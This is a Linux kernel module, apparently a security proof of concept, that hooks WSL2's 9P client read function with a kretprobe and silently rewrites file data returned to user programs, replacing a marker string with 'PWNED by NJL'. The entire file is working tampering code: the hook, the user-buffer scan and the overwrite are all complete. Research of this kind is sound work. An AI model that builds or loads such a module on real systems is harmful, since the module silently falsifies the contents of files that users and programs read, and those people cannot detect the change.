#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/uaccess.h>

MODULE_LICENSE("GPL");

#define MARKER  "WSL2_9P_MITM_TARGET"
#define PAYLOAD "PWNED by NJL       "

#define MY_ITER_UBUF 5

struct my_iov_iter {
	u8     iter_type;
	u8     _pad[7];
	size_t iov_offset;
	union {
		void __user *ubuf;
		void        *__iov;
	};
	size_t count;
	unsigned long nr_segs;
};

struct saved {
	struct my_iov_iter *to;
	size_t              iov_off;
};

static int entry(struct kretprobe_instance *ri, struct pt_regs *regs)
{
	struct saved *s = (struct saved *)ri->data;
	s->to      = (struct my_iov_iter *)regs->dx;
	s->iov_off = s->to ? s->to->iov_offset : 0;
	return 0;
}

static int ret(struct kretprobe_instance *ri, struct pt_regs *regs)
{
	struct saved *s = (struct saved *)ri->data;
	long n = (long)regs->ax;
	struct my_iov_iter *it = s->to;
	char buf[256];
	size_t len, i;

	if (n <= 0 || !it || it->iter_type != MY_ITER_UBUF)
		return 0;

	len = min((size_t)n, sizeof(buf) - 1);
	if (copy_from_user(buf, it->ubuf + s->iov_off, len))
		return 0;
	buf[len] = 0;

	for (i = 0; i + sizeof(MARKER) - 1 <= len; i++) {
		if (memcmp(buf + i, MARKER, sizeof(MARKER) - 1) == 0) {
			copy_to_user(it->ubuf + s->iov_off + i, PAYLOAD, sizeof(PAYLOAD) - 1);
			pr_info("[poc] patched read: '%s' -> '%s'\n", MARKER, PAYLOAD);
			break;
		}
	}
	return 0;
}

static struct kretprobe krp = {
	.entry_handler = entry,
	.handler       = ret,
	.data_size     = sizeof(struct saved),
	.maxactive     = 32,
	.kp.symbol_name = "p9_client_read_once",
};

static int __init main_init(void)
{
	int r = register_kretprobe(&krp);
	if (r) { pr_err("[poc] register failed: %d\n", r); return r; }
	pr_info("[poc] WSL2 9P MitM loaded. marker='%s'\n", MARKER);
	return 0;
}

static void __exit main_exit(void)
{
	unregister_kretprobe(&krp);
	pr_info("[poc] unloaded\n");
}

module_init(main_init);
module_exit(main_exit);